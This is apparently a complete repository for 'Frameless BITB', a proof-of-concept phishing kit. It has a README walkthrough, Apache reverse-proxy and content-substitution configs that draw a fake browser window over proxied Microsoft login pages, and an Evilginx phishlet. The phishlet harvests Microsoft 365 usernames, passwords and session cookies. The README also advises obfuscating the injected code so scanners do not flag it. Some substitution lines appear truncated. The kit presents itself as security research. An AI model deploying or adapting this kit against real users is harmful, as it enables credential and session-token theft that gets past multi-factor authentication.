├── .gitattributes
├── 000-default.conf
├── LICENSE
├── O365.yaml
├── README.md
├── apache-configs
├── mac-chrome-bitb.conf
└── win-chrome-bitb.conf
├── custom-subs
├── mac-chrome.conf
└── win-chrome.conf
├── demo-obfuscator.html
├── openssl-local.cnf
└── pages
├── home
├── images
│ ├── email-header.png
│ ├── favicon.ico
│ ├── logo.png
│ ├── logo.svg
│ ├── techLeft.svg
│ └── techRight.svg
├── index.html
├── script.js
└── style.css
├── primary
├── images
│ ├── favicon.ico
│ ├── logo.png
│ ├── logo.svg
│ └── msf.svg
├── index.html
├── script.js
└── styles.css
└── secondary
├── images
├── arrow-right.svg
├── close.svg
├── cookies.svg
├── exit.svg
├── favicon.ico
├── logo.svg
├── maximize.svg
├── minimize.svg
├── new-tab.svg
├── settings.svg
└── ssl.svg
├── mac-chrome.css
├── script.js
└── win-chrome.css
/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
3 |
--------------------------------------------------------------------------------
/000-default.conf:
--------------------------------------------------------------------------------
1 |
2 | # LOCATION: /etc/apache2/sites-available/000-default.conf
3 |
4 | Define certsPathDir /etc/ssl/localcerts/
5 | Define domain fake.com
6 |
7 |
8 |
9 | ServerName subdomains.${domain}
10 | ServerAlias *.${domain}
11 | SSLEngine on
12 | SSLProxyEngine On
13 | SSLProxyVerify none
14 | SSLProxyCheckPeerCN off
15 | SSLProxyCheckPeerName off
16 | SSLProxyCheckPeerExpire off
17 | SSLCertificateFile ${certsPathDir}${domain}/fullchain.pem
18 | SSLCertificateKeyFile ${certsPathDir}${domain}/privkey.pem
19 | ProxyPreserveHost On
20 |
21 |
22 |
23 | Alias /primary /var/www/primary
24 |
25 | Options Indexes FollowSymLinks
26 | AllowOverride None
27 | Require all granted
28 |
29 |
30 | ProxyPass /primary !
31 |
32 |
33 | Alias /secondary /var/www/secondary
34 |
35 | Options Indexes FollowSymLinks
36 | AllowOverride None
37 | Require all granted
38 |
39 |
40 | ProxyPass /secondary !
41 |
42 | ProxyPass / https://127.0.0.1:8443/
43 | ProxyPassReverse / https://127.0.0.1:8443/
44 |
45 |
46 | # Enable output buffering and content substitution
47 | SetOutputFilter INFLATE;SUBSTITUTE;DEFLATE
48 |
49 |
50 | # Substitutions (excluding /primary, /secondary, and /)
51 |
52 | # Uncomment the one you want and remeber to restart apache after any changes:
53 | Include /etc/apache2/custom-subs/win-chrome.conf
54 | # Include /etc/apache2/custom-subs/mac-chrome.conf
55 |
56 |
57 | # Substitutions only for base URL, only apply subs on /?auth=2
58 |
59 |
60 | # Uncomment the one you want and remeber to restart apache after any changes:
61 | Include /etc/apache2/custom-subs/win-chrome.conf
62 | # Include /etc/apache2/custom-subs/mac-chrome.conf
63 |
64 |
65 |
66 | # Caching behavior (helps make the BITB effect way smoother between redirects)
67 |
68 |
69 | Header set Cache-Control "max-age=3600, public"
70 |
71 |
72 |
73 |
74 |
75 | ErrorLog ${APACHE_LOG_DIR}/error.log
76 | CustomLog ${APACHE_LOG_DIR}/access_evilginx3.log "%h \"%r\" \"%{Referer}i\" \"%{User-Agent}i\""
77 |
78 |
79 |
80 |
81 |
82 | # Handle Base Domain separately
83 |
84 | ServerName ${domain}
85 | SSLEngine on
86 | SSLProxyEngine On
87 | SSLProxyVerify none
88 | SSLProxyCheckPeerCN off
89 | SSLProxyCheckPeerName off
90 | SSLProxyCheckPeerExpire off
91 | SSLCertificateFile ${certsPathDir}${domain}/fullchain.pem
92 | SSLCertificateKeyFile ${certsPathDir}${domain}/privkey.pem
93 | ProxyPreserveHost On
94 |
95 | DocumentRoot /var/www/home
96 |
97 |
98 | Options Indexes FollowSymLinks
99 | AllowOverride None
100 | Require all granted
101 |
102 |
103 | ErrorLog ${APACHE_LOG_DIR}/error.log
104 | CustomLog ${APACHE_LOG_DIR}/access_evilginx3.log "%h \"%r\" \"%{Referer}i\" \"%{User-Agent}i\""
105 |
106 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | BSD 3-Clause License
2 |
3 | Copyright (c) 2024, Wael Al Masri
4 |
5 | Redistribution and use in source and binary forms, with or without
6 | modification, are permitted provided that the following conditions are met:
7 |
8 | 1. Redistributions of source code must retain the above copyright notice, this
9 | list of conditions and the following disclaimer.
10 |
11 | 2. Redistributions in binary form must reproduce the above copyright notice,
12 | this list of conditions and the following disclaimer in the documentation
13 | and/or other materials provided with the distribution.
14 |
15 | 3. Neither the name of the copyright holder nor the names of its
16 | contributors may be used to endorse or promote products derived from
17 | this software without specific prior written permission.
18 |
19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
20 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
21 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
22 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
23 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
24 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
25 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
26 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
27 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
28 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
29 |
--------------------------------------------------------------------------------
/O365.yaml:
--------------------------------------------------------------------------------
1 | name: 'Microsoft 365 - Enterprise - V1'
2 | author: '@waelmas'
3 | min_ver: '3.2.0'
4 | proxy_hosts:
5 | - {phish_sub: 'login', orig_sub: 'login', domain: 'microsoftonline.com', session: true, is_landing: true}
6 | - {phish_sub: 'account', orig_sub: 'account', domain: 'microsoftonline.com', session: false, is_landing: false}
7 | - {phish_sub: 'www', orig_sub: 'www', domain: 'office.com', session: true, is_landing: false}
8 | - {phish_sub: 'sso', orig_sub: 'login', domain: 'live.com', session: true, is_landing: false}
9 | - {phish_sub: 'portal', orig_sub: 'portal', domain: 'microsoftonline.com', session: false, is_landing: false}
10 | auth_tokens:
11 | - domain: '.login.microsoftonline.com'
12 | keys: ['ESTSAUTH' , 'ESTSAUTHPERSISTENT' , 'SignInStateCookie']
13 | type: 'cookie'
14 | credentials:
15 | username:
16 | key: 'login'
17 | search: '(.*)'
18 | type: 'post'
19 | password:
20 | key: 'passwd'
21 | search: '(.*)'
22 | type: 'post'
23 | login:
24 | domain: 'login.microsoftonline.com'
25 | path: '/?auth=2'
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Frameless BITB
2 |
3 | A new approach to Browser In The Browser (BITB) without the use of iframes, allowing the bypass of traditional framebusters implemented by login pages like Microsoft.
4 |
5 | This POC code is built for using this new BITB with Evilginx, and a Microsoft Enterprise phishlet.
6 |
7 |
8 | 
9 |
10 |
11 | Before diving deep into this, I recommend that you first check my talk at BSides 2023, where I first introduced this concept along with important details on how to craft the "perfect" phishing attack. [▶ Watch Video](https://www.youtube.com/watch?v=p1opa2wnRvg)
12 |
13 | ☕︎ [Buy Me A Coffee](https://www.buymeacoffee.com/waelmas)
14 |
15 | [**Video Tutorial:** 👇](#video-tutorial)
16 |
17 | # Disclaimer
18 |
19 | This tool is for educational and research purposes only. It demonstrates a non-iframe based Browser In The Browser (BITB) method. The author is not responsible for any misuse. Use this tool only legally and ethically, in controlled environments for cybersecurity defense testing. By using this tool, you agree to do so responsibly and at your own risk.
20 |
21 |
22 | # Backstory - The Why
23 |
24 | Over the past year, I've been experimenting with different tricks to craft the "perfect" phishing attack.
25 | The typical "red flags" people are trained to look for are things like urgency, threats, authority, poor grammar, etc.
26 | The next best thing people nowadays check is the link/URL of the website they are interacting with, and they tend to get very conscious the moment they are asked to enter sensitive credentials like emails and passwords.
27 |
28 | That's where Browser In The Browser (BITB) came into play. Originally introduced by @mrd0x, BITB is a concept of creating the appearance of a believable browser window inside of which the attacker controls the content (by serving the malicious website inside an iframe). However, the fake URL bar of the fake browser window is set to the legitimate site the user would expect. This combined with a tool like Evilginx becomes the perfect recipe for a believable phishing attack.
29 |
30 | The problem is that over the past months/years, major websites like Microsoft implemented various little tricks called "framebusters/framekillers" which mainly attempt to break iframes that might be used to serve the proxied website like in the case of Evilginx.
31 |
32 | In short, Evilginx + BITB for websites like Microsoft no longer works. At least not with a BITB that relies on iframes.
33 |
34 |
35 | # The What
36 |
37 | A Browser In The Browser (BITB) without any iframes! As simple as that.
38 |
39 | Meaning that we can now use BITB with Evilginx on websites like Microsoft.
40 |
41 | Evilginx here is just a strong example, but the same concept can be used for other use-cases as well.
42 |
43 |
44 | # The How
45 |
46 | Framebusters target iframes specifically, so the idea is to create the BITB effect without the use of iframes, and without disrupting the original structure/content of the proxied page.
47 | This can be achieved by injecting scripts and HTML besides the original content using search and replace (aka substitutions), then relying completely on HTML/CSS/JS tricks to make the visual effect.
48 | We also use an additional trick called "Shadow DOM" in HTML to place the content of the landing page (background) in such a way that it does not interfere with the proxied content, allowing us to flexibly use any landing page with minor additional JS scripts.
49 |
50 |
51 | # Instructions
52 |
53 | ## Video Tutorial
54 |
55 | [](https://youtu.be/luJjxpEwVHI)
56 |
57 |
58 | https://youtu.be/luJjxpEwVHI
59 |
60 | ## Local VM:
61 | Create a local Linux VM. (I personally use Ubuntu 22 on VMWare Player or Parallels Desktop)
62 |
63 | Update and Upgrade system packages:
64 |
65 | ```
66 | sudo apt update && sudo apt upgrade -y
67 | ```
68 |
69 |
70 |
71 |
72 | ## Evilginx Setup:
73 |
74 |
75 | #### Optional:
76 | Create a new evilginx user, and add user to sudo group:
77 |
78 | `sudo su`
79 |
80 | `adduser evilginx`
81 |
82 | `usermod -aG sudo evilginx`
83 |
84 |
85 | Test that evilginx user is in sudo group:
86 |
87 | `su - evilginx`
88 |
89 | `sudo ls -la /root`
90 |
91 | Navigate to users home dir:
92 |
93 | `cd /home/evilginx`
94 |
95 | (You can do everything as sudo user as well since we're running everything locally)
96 |
97 |
98 | #### Setting Up Evilginx
99 |
100 |
101 | Download and build Evilginx: [Official Docs](https://help.evilginx.com/docs/intro)
102 |
103 |
104 | Copy Evilginx files to `/home/evilginx`
105 |
106 |
107 |
108 | Install Go: [Official Docs](https://go.dev/doc/install)
109 |
110 | ```
111 | wget https://go.dev/dl/go1.21.4.linux-amd64.tar.gz
112 | ```
113 |
114 | ```
115 | sudo tar -C /usr/local -xzf go1.21.4.linux-amd64.tar.gz
116 | ```
117 |
118 | ```
119 | nano ~/.profile
120 | ```
121 |
122 | ADD: `export PATH=$PATH:/usr/local/go/bin`
123 |
124 | ```
125 | source ~/.profile
126 | ```
127 |
128 | Check:
129 | ```
130 | go version
131 | ```
132 |
133 | Install make:
134 |
135 | ```
136 | sudo apt install make
137 | ```
138 |
139 | Build Evilginx:
140 |
141 | ```
142 | cd /home/evilginx/evilginx2
143 | ```
144 |
145 | ```
146 | make
147 | ```
148 |
149 |
150 | Create a new directory for our evilginx build along with phishlets and redirectors:
151 |
152 | ```
153 | mkdir /home/evilginx/evilginx
154 | ```
155 |
156 |
157 | Copy build, phishlets, and redirectors:
158 |
159 | ```
160 | cp /home/evilginx/evilginx2/build/evilginx /home/evilginx/evilginx/evilginx
161 |
162 | cp -r /home/evilginx/evilginx2/redirectors /home/evilginx/evilginx/redirectors
163 |
164 | cp -r /home/evilginx/evilginx2/phishlets /home/evilginx/evilginx/phishlets
165 | ```
166 |
167 |
168 |
169 |
170 | Ubuntu firewall quick fix (thanks to @kgretzky)
171 |
172 | ```
173 | sudo setcap CAP_NET_BIND_SERVICE=+eip /home/evilginx/evilginx/evilginx
174 | ```
175 |
176 |
177 |
178 |
179 |
180 | On Ubuntu, if you get `Failed to start nameserver on: :53` error, try modifying this file
181 |
182 | ```
183 | sudo nano /etc/systemd/resolved.conf
184 | ```
185 |
186 | edit/add the `DNSStubListener` to `no` > `DNSStubListener=no`
187 |
188 | then
189 | ```
190 | sudo systemctl restart systemd-resolved
191 | ```
192 |
193 |
194 |
195 |
196 |
197 | ## Modify Evilginx Configurations:
198 |
199 |
200 | Since we will be using Apache2 in front of Evilginx, we need to make Evilginx listen to a different port than 443.
201 |
202 | ```
203 | nano ~/.evilginx/config.json
204 | ```
205 |
206 | CHANGE `https_port` from `443` to `8443`
207 |
208 |
209 |
210 | ## Install Apache2 and Enable Mods:
211 |
212 | Install Apache2:
213 |
214 | ```
215 | sudo apt install apache2 -y
216 | ```
217 |
218 |
219 | Enable Apache2 mods that will be used:
220 | (We are also disabling access_compat module as it sometimes causes issues)
221 |
222 | ```
223 | sudo a2enmod proxy
224 | sudo a2enmod proxy_http
225 | sudo a2enmod proxy_balancer
226 | sudo a2enmod lbmethod_byrequests
227 | sudo a2enmod env
228 | sudo a2enmod include
229 | sudo a2enmod setenvif
230 | sudo a2enmod ssl
231 | sudo a2ensite default-ssl
232 | sudo a2enmod cache
233 | sudo a2enmod substitute
234 | sudo a2enmod headers
235 | sudo a2enmod rewrite
236 | sudo a2dismod access_compat
237 | ```
238 |
239 | Start and enable Apache:
240 |
241 | ```
242 | sudo systemctl start apache2
243 | ```
244 |
245 | ```
246 | sudo systemctl enable apache2
247 | ```
248 |
249 | Try if Apache and VM networking works by visiting the VM's IP from a browser on the host machine.
250 |
251 |
252 |
253 |
254 |
255 | ## Clone this Repo:
256 |
257 | Install git if not already available:
258 |
259 | ```
260 | sudo apt -y install git
261 | ```
262 |
263 | Clone this repo:
264 |
265 | ```
266 | git clone https://github.com/waelmas/frameless-bitb
267 | ```
268 |
269 | ```
270 | cd frameless-bitb
271 | ```
272 |
273 |
274 |
275 |
276 | ## Apache Custom Pages:
277 |
278 |
279 | Make directories for the pages we will be serving:
280 |
281 | - home: (Optional) Homepage (at base domain)
282 | - primary: Landing page (background)
283 | - secondary: BITB Window (foreground)
284 |
285 |
286 | ```
287 | sudo mkdir /var/www/home
288 | sudo mkdir /var/www/primary
289 | sudo mkdir /var/www/secondary
290 | ```
291 |
292 |
293 | Copy the directories for each page:
294 |
295 | ```
296 |
297 | sudo cp -r ./pages/home/ /var/www/
298 |
299 | sudo cp -r ./pages/primary/ /var/www/
300 |
301 | sudo cp -r ./pages/secondary/ /var/www/
302 |
303 | ```
304 |
305 | Optional: Remove the default Apache page (not used):
306 |
307 | ```
308 | sudo rm -r /var/www/html/
309 | ```
310 |
311 |
312 | Copy the O365 phishlet to phishlets directory:
313 |
314 | ```
315 | sudo cp ./O365.yaml /home/evilginx/evilginx/phishlets/O365.yaml
316 | ```
317 |
318 |
319 |
320 | **Optional:** To set the Calendly widget to use your account instead of the default I have inside, go to `pages/primary/script.js` and change the `CALENDLY_PAGE_NAME` and `CALENDLY_EVENT_TYPE`.
321 |
322 | **Note on Demo Obfuscation:** As I explain in the walkthrough video, I included a minimal obfuscation for text content like URLs and titles of the BITB. You can open the demo obfuscator by opening `demo-obfuscator.html` in your browser.
323 | In a real-world scenario, I would highly recommend that you obfuscate larger chunks of the HTML code injected or use JS tricks to avoid being detected and flagged. The advanced version I am working on will use a combination of advanced tricks to make it nearly impossible for scanners to fingerprint/detect the BITB code, so stay tuned.
324 |
325 |
326 |
327 |
328 | ## Self-signed SSL certificates:
329 |
330 | Since we are running everything locally, we need to generate self-signed SSL certificates that will be used by Apache. Evilginx will not need the certs as we will be running it in developer mode.
331 |
332 |
333 | We will use the domain `fake.com` which will point to our local VM. If you want to use a different domain, make sure to change the domain in all files (Apache conf files, JS files, etc.)
334 |
335 |
336 | Create dir and parents if they do not exist:
337 |
338 | ```
339 | sudo mkdir -p /etc/ssl/localcerts/fake.com/
340 | ```
341 |
342 |
343 | Generate the SSL certs using the OpenSSL config file:
344 |
345 | ```
346 | sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
347 | -keyout /etc/ssl/localcerts/fake.com/privkey.pem -out /etc/ssl/localcerts/fake.com/fullchain.pem \
348 | -config openssl-local.cnf
349 | ```
350 |
351 | Modify private key permissions:
352 |
353 | ```
354 | sudo chmod 600 /etc/ssl/localcerts/fake.com/privkey.pem
355 | ```
356 |
357 |
358 |
359 |
360 | ## Apache Custom Configs:
361 |
362 | Copy custom substitution files (the core of our approach):
363 |
364 | ```
365 | sudo cp -r ./custom-subs /etc/apache2/custom-subs
366 | ```
367 |
368 |
369 | **Important Note:** In this repo I have included 2 substitution configs for Chrome on Mac and Chrome on Windows BITB. Both have auto-detection and styling for light/dark mode and they should act as base templates to achieve the same for other browser/OS combos.
370 | Since I did not include automatic detection of the browser/OS combo used to visit our phishing page, you will have to use one of two or implement your own logic for automatic switching.
371 |
372 | Both config files under `/apache-configs/` are the same, only with a different Include directive used for the substitution file that will be included. (there are 2 references for each file)
373 |
374 | ```
375 | # Uncomment the one you want and remember to restart Apache after any changes:
376 | #Include /etc/apache2/custom-subs/win-chrome.conf
377 | Include /etc/apache2/custom-subs/mac-chrome.conf
378 | ```
379 |
380 |
381 |
382 | Simply to make it easier, I included both versions as separate files for this next step.
383 |
384 |
385 | **Windows/Chrome** BITB:
386 |
387 | ```
388 | sudo cp ./apache-configs/win-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf
389 | ```
390 |
391 | **Mac/Chrome** BITB:
392 |
393 | ```
394 | sudo cp ./apache-configs/mac-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf
395 | ```
396 |
397 |
398 |
399 |
400 | Test Apache configs to ensure there are no errors:
401 |
402 | ```
403 | sudo apache2ctl configtest
404 | ```
405 |
406 | Restart Apache to apply changes:
407 |
408 | ```
409 | sudo systemctl restart apache2
410 | ```
411 |
412 |
413 |
414 |
415 | ## Modifying Hosts:
416 |
417 |
418 | Get the IP of the VM using `ifconfig` and note it somewhere for the next step.
419 |
420 | We now need to add new entries to our hosts file, to point the domain used in this demo `fake.com` and all used subdomains to our VM on which Apache and Evilginx are running.
421 |
422 |
423 |
424 | **On Windows:**
425 |
426 | Open Notepad as Administrator (Search > Notepad > Right-Click > Run as Administrator)
427 |
428 | Click on the File option (top-left) and in the File Explorer address bar, copy and paste the following:
429 |
430 | `C:\Windows\System32\drivers\etc\`
431 |
432 | Change the file types (bottom-right) to "All files".
433 |
434 | Double-click the file named `hosts`
435 |
436 |
437 |
438 |
439 | **On Mac:**
440 |
441 | Open a terminal and run the following:
442 |
443 | ```
444 | sudo nano /private/etc/hosts
445 | ```
446 |
447 |
448 |
449 |
450 | Now modify the following records (replace `[IP]` with the IP of your VM) then paste the records at the end of the hosts file:
451 |
452 | ```
453 | # Local Apache and Evilginx Setup
454 | [IP] login.fake.com
455 | [IP] account.fake.com
456 | [IP] sso.fake.com
457 | [IP] www.fake.com
458 | [IP] portal.fake.com
459 | [IP] fake.com
460 | # End of section
461 | ```
462 |
463 | Save and exit.
464 |
465 | Now restart your browser before moving to the next step.
466 |
467 |
468 | **Note:** On Mac, use the following command to flush the DNS cache:
469 |
470 | `sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder`
471 |
472 |
473 | #### Important Note:
474 | This demo is made with the provided Office 365 Enterprise phishlet. To get the host entries you need to add for a different phishlet, use `phishlet get-hosts [PHISHLET_NAME]` but remember to replace the `127.0.0.1` with the actual local IP of your VM.
475 |
476 |
477 |
478 |
479 |
480 |
481 | ## Trusting the Self-Signed SSL Certs:
482 |
483 |
484 | Since we are using self-signed SSL certificates, our browser will warn us every time we try to visit `fake.com` so we need to make our host machine trust the certificate authority that signed the SSL certs.
485 |
486 | For this step, it's easier to follow the video instructions, but here is the gist anyway.
487 |
488 |
489 |
490 | Open [https://fake.com/](https://fake.com/) in your Chrome browser.
491 |
492 | Ignore the Unsafe Site warning and proceed to the page.
493 |
494 |
495 | Click the SSL icon > Details > Export Certificate
496 | **IMPORTANT:** When saving, the name MUST end with .crt for Windows to open it correctly.
497 |
498 | Double-click it > install for current user. Do NOT select automatic, instead place the certificate in specific store: select "Trusted Route Certification Authorities".
499 |
500 |
501 |
502 | **On Mac:** to install for current user only > select "Keychain: login" **AND** click on "View Certificates" > details > trust > Always trust
503 |
504 |
505 |
506 | **Now RESTART your Browser**
507 |
508 | You should be able to visit `https://fake.com` now and see the homepage without any SSL warnings.
509 |
510 |
511 |
512 |
513 |
514 |
515 | ## Running Evilginx:
516 |
517 |
518 | At this point, everything should be ready so we can go ahead and start Evilginx, set up the phishlet, create our lure, and test it.
519 |
520 | Optional: Install tmux (to keep evilginx running even if the terminal session is closed. Mainly useful when running on remote VM.)
521 |
522 | ```
523 | sudo apt install tmux -y
524 | ```
525 |
526 | Start Evilginx in developer mode (using tmux to avoid losing the session):
527 |
528 | ```
529 | tmux new-session -s evilginx
530 | ```
531 |
532 | ```
533 | cd ~/evilginx/
534 | ```
535 |
536 | ```
537 | ./evilginx -developer
538 | ```
539 |
540 | (To re-attach to the tmux session use `tmux attach-session -t evilginx`)
541 |
542 |
543 | Evilginx Config:
544 |
545 | ```
546 | config domain fake.com
547 | ```
548 |
549 | ```
550 | config ipv4 127.0.0.1
551 | ```
552 |
553 |
554 | **IMPORTANT:** Set Evilginx Blacklist mode to NoAdd to avoid blacklisting Apache since all requests will be coming from Apache and not the actual visitor IP.
555 |
556 | ```
557 | blacklist noadd
558 | ```
559 |
560 |
561 |
562 | Setup Phishlet and Lure:
563 |
564 | ```
565 | phishlets hostname O365 fake.com
566 | ```
567 |
568 | ```
569 | phishlets enable O365
570 | ```
571 |
572 | ```
573 | lures create O365
574 | ```
575 |
576 | ```
577 | lures get-url 0
578 | ```
579 |
580 |
581 | Copy the lure URL and visit it from your browser (use Guest user on Chrome to avoid having to delete all saved/cached data between tests).
582 |
583 |
584 |
585 | # Useful Resources
586 |
587 |
588 | Original iframe-based BITB by @mrd0x:
589 | [https://github.com/mrd0x/BITB](https://github.com/mrd0x/BITB)
590 |
591 | Evilginx Mastery Course by the creator of Evilginx @kgretzky:
592 | [https://academy.breakdev.org/evilginx-mastery](https://academy.breakdev.org/evilginx-mastery)
593 |
594 | My talk at BSides 2023:
595 | [https://www.youtube.com/watch?v=p1opa2wnRvg](https://www.youtube.com/watch?v=p1opa2wnRvg)
596 |
597 | How to protect Evilginx using Cloudflare and HTML Obfuscation:
598 | [https://www.jackphilipbutton.com/post/how-to-protect-evilginx-using-cloudflare-and-html-obfuscation](https://www.jackphilipbutton.com/post/how-to-protect-evilginx-using-cloudflare-and-html-obfuscation)
599 |
600 | Evilginx resources for Microsoft 365 by @BakkerJan:
601 | [https://janbakker.tech/evilginx-resources-for-microsoft-365/](https://janbakker.tech/evilginx-resources-for-microsoft-365/)
602 |
603 |
604 | # TODO
605 |
606 | - Create script(s) to automate most of the steps
607 |
--------------------------------------------------------------------------------
/apache-configs/mac-chrome-bitb.conf:
--------------------------------------------------------------------------------
1 |
2 | # LOCATION: /etc/apache2/sites-available/000-default.conf
3 |
4 | Define certsPathDir /etc/ssl/localcerts/
5 | Define domain fake.com
6 |
7 |
8 |
9 | ServerName subdomains.${domain}
10 | ServerAlias *.${domain}
11 | SSLEngine on
12 | SSLProxyEngine On
13 | SSLProxyVerify none
14 | SSLProxyCheckPeerCN off
15 | SSLProxyCheckPeerName off
16 | SSLProxyCheckPeerExpire off
17 | SSLCertificateFile ${certsPathDir}${domain}/fullchain.pem
18 | SSLCertificateKeyFile ${certsPathDir}${domain}/privkey.pem
19 | ProxyPreserveHost On
20 |
21 |
22 |
23 | Alias /primary /var/www/primary
24 |
25 | Options Indexes FollowSymLinks
26 | AllowOverride None
27 | Require all granted
28 |
29 |
30 | ProxyPass /primary !
31 |
32 |
33 | Alias /secondary /var/www/secondary
34 |
35 | Options Indexes FollowSymLinks
36 | AllowOverride None
37 | Require all granted
38 |
39 |
40 | ProxyPass /secondary !
41 |
42 | ProxyPass / https://127.0.0.1:8443/
43 | ProxyPassReverse / https://127.0.0.1:8443/
44 |
45 |
46 | # Enable output buffering and content substitution
47 | SetOutputFilter INFLATE;SUBSTITUTE;DEFLATE
48 |
49 |
50 | # Substitutions (excluding /primary, /secondary, and /)
51 |
52 | # Uncomment the one you want and remeber to restart apache after any changes:
53 | # Include /etc/apache2/custom-subs/win-chrome.conf
54 | Include /etc/apache2/custom-subs/mac-chrome.conf
55 |
56 |
57 | # Substitutions only for base URL, only apply subs on /?auth=2
58 |
59 |
60 | # Uncomment the one you want and remeber to restart apache after any changes:
61 | # Include /etc/apache2/custom-subs/win-chrome.conf
62 | Include /etc/apache2/custom-subs/mac-chrome.conf
63 |
64 |
65 |
66 | # Caching behavior (helps make the BITB effect way smoother between redirects)
67 |
68 |
69 | Header set Cache-Control "max-age=3600, public"
70 |
71 |
72 |
73 |
74 |
75 | ErrorLog ${APACHE_LOG_DIR}/error.log
76 | CustomLog ${APACHE_LOG_DIR}/access_evilginx3.log "%h \"%r\" \"%{Referer}i\" \"%{User-Agent}i\""
77 |
78 |
79 |
80 |
81 |
82 | # Handle Base Domain separately
83 |
84 | ServerName ${domain}
85 | SSLEngine on
86 | SSLProxyEngine On
87 | SSLProxyVerify none
88 | SSLProxyCheckPeerCN off
89 | SSLProxyCheckPeerName off
90 | SSLProxyCheckPeerExpire off
91 | SSLCertificateFile ${certsPathDir}${domain}/fullchain.pem
92 | SSLCertificateKeyFile ${certsPathDir}${domain}/privkey.pem
93 | ProxyPreserveHost On
94 |
95 | DocumentRoot /var/www/home
96 |
97 |
98 | Options Indexes FollowSymLinks
99 | AllowOverride None
100 | Require all granted
101 |
102 |
103 | ErrorLog ${APACHE_LOG_DIR}/error.log
104 | CustomLog ${APACHE_LOG_DIR}/access_evilginx3.log "%h \"%r\" \"%{Referer}i\" \"%{User-Agent}i\""
105 |
106 |
--------------------------------------------------------------------------------
/apache-configs/win-chrome-bitb.conf:
--------------------------------------------------------------------------------
1 |
2 | # LOCATION: /etc/apache2/sites-available/000-default.conf
3 |
4 | Define certsPathDir /etc/ssl/localcerts/
5 | Define domain fake.com
6 |
7 |
8 |
9 | ServerName subdomains.${domain}
10 | ServerAlias *.${domain}
11 | SSLEngine on
12 | SSLProxyEngine On
13 | SSLProxyVerify none
14 | SSLProxyCheckPeerCN off
15 | SSLProxyCheckPeerName off
16 | SSLProxyCheckPeerExpire off
17 | SSLCertificateFile ${certsPathDir}${domain}/fullchain.pem
18 | SSLCertificateKeyFile ${certsPathDir}${domain}/privkey.pem
19 | ProxyPreserveHost On
20 |
21 |
22 |
23 | Alias /primary /var/www/primary
24 |
25 | Options Indexes FollowSymLinks
26 | AllowOverride None
27 | Require all granted
28 |
29 |
30 | ProxyPass /primary !
31 |
32 |
33 | Alias /secondary /var/www/secondary
34 |
35 | Options Indexes FollowSymLinks
36 | AllowOverride None
37 | Require all granted
38 |
39 |
40 | ProxyPass /secondary !
41 |
42 | ProxyPass / https://127.0.0.1:8443/
43 | ProxyPassReverse / https://127.0.0.1:8443/
44 |
45 |
46 | # Enable output buffering and content substitution
47 | SetOutputFilter INFLATE;SUBSTITUTE;DEFLATE
48 |
49 |
50 | # Substitutions (excluding /primary, /secondary, and /)
51 |
52 | # Uncomment the one you want and remeber to restart apache after any changes:
53 | Include /etc/apache2/custom-subs/win-chrome.conf
54 | # Include /etc/apache2/custom-subs/mac-chrome.conf
55 |
56 |
57 | # Substitutions only for base URL, only apply subs on /?auth=2
58 |
59 |
60 | # Uncomment the one you want and remeber to restart apache after any changes:
61 | Include /etc/apache2/custom-subs/win-chrome.conf
62 | # Include /etc/apache2/custom-subs/mac-chrome.conf
63 |
64 |
65 |
66 | # Caching behavior (helps make the BITB effect way smoother between redirects)
67 |
68 |
69 | Header set Cache-Control "max-age=3600, public"
70 |
71 |
72 |
73 |
74 |
75 | ErrorLog ${APACHE_LOG_DIR}/error.log
76 | CustomLog ${APACHE_LOG_DIR}/access_evilginx3.log "%h \"%r\" \"%{Referer}i\" \"%{User-Agent}i\""
77 |
78 |
79 |
80 |
81 |
82 | # Handle Base Domain separately
83 |
84 | ServerName ${domain}
85 | SSLEngine on
86 | SSLProxyEngine On
87 | SSLProxyVerify none
88 | SSLProxyCheckPeerCN off
89 | SSLProxyCheckPeerName off
90 | SSLProxyCheckPeerExpire off
91 | SSLCertificateFile ${certsPathDir}${domain}/fullchain.pem
92 | SSLCertificateKeyFile ${certsPathDir}${domain}/privkey.pem
93 | ProxyPreserveHost On
94 |
95 | DocumentRoot /var/www/home
96 |
97 |
98 | Options Indexes FollowSymLinks
99 | AllowOverride None
100 | Require all granted
101 |
102 |
103 | ErrorLog ${APACHE_LOG_DIR}/error.log
104 | CustomLog ${APACHE_LOG_DIR}/access_evilginx3.log "%h \"%r\" \"%{Referer}i\" \"%{User-Agent}i\""
105 |
106 |
--------------------------------------------------------------------------------
/custom-subs/mac-chrome.conf:
--------------------------------------------------------------------------------
1 |
2 | # LOCATION: /etc/apache2/custom-subs/
3 |
4 | SetEnvIf Request_URI ".*" ORIGINAL_CONTENT=$0
5 |
6 | # Inject JQuery, CSS, and JS
7 | Substitute "s|| \
8 | \
9 | |ni"
10 |
11 |
12 | # Inject relevant CSS file
13 | Substitute "s|||ni"
14 |
15 |
16 |
17 | # It is highly recommended that you obfuscate the HTML code
18 | # For the sake of easier walkthrough and keeping things readable, this demo is with only
19 | # obfuscating highly suspicious strings.
20 | # The upcoming advanced version will have way more advanced tricks to ensure we never get flagged.
21 |
22 |
23 | Substitute "s|
| \
8 | \
9 | |ni"
10 |
11 |
12 | # Inject relevant CSS file
13 | Substitute "s|||ni"
14 |
